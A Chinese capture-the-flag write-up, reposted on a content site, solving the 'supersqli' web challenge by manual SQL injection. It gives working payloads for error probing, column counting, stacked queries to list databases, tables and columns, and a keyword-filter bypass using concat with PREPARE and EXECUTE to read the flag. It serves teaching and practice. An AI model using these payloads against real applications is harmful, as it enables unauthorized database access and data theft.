600字范文,内容丰富有趣,生活中的好帮手!
600字范文 > 攻防世界 Web supersqli 详解(堆叠注入)

攻防世界 Web supersqli 详解(堆叠注入)

时间:2019-01-25 19:21:54

相关推荐

攻防世界 Web supersqli 详解(堆叠注入)

打开题目场景,根据题目名称,猜测为SQL注入漏洞,下面开始进行手工注入测试。

step1、先在方框中随便输入数字

输入1

输入0,无返回结果。

step2、在方框中随便输入字母

输入xxx,无返回结果。

step3、单独输入一个反斜杠字符 \

报错:error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''\'' at line 1

我们可以知道,当我们单独输入一个反斜杠字符后,报了一个数据库语法错误,证实了我们的猜测(即存在SQL注入漏洞),并找到了注入点,根据报错的信息可知,在注入点使用了单引号作为闭合,下面我们开始构造闭合。

step4、手工注入阶段——尝试select联合查询

构造payload:xxx' or 1=1 #

若想使用union联合查询,首先要知道后台的select语句中选择了几个字段,构造paylad:

xxx' order by 3#

报错:error 1054 : Unknown column '3' in 'order clause'

没有第三个字段

xxx' order by 2#

不报错,说明有两个字段

我们希望获得数据库名称,构造payload:

xxx' union select 1,database()#

报错:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

说明select被过滤了,则不能使用select联合查询

step5、手工注入阶段——尝试使用堆叠查询

想获取所有数据库名称,构造payload:

xxx';show databases; #

返回如下:

对supersqli这个数据库感兴趣,想获取里面所有的表名称,构造payload:

xxx';use supersqli;show tables; #

返回如下:

对表名为1919810931114514的表感兴趣,获取表名为1919810931114514中的所有字段:

构造payload:

xxx';use supersqli;show columns from `1919810931114514` #

返回如下:

发现flag字段,获取字段值绕过select,采用预编译:

xxx';set @sql=concat('sel', 'ect * from `1919810931114514`');PREPARE kb from @sql;EXECUTE kb #

返回如下:

得到flag。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。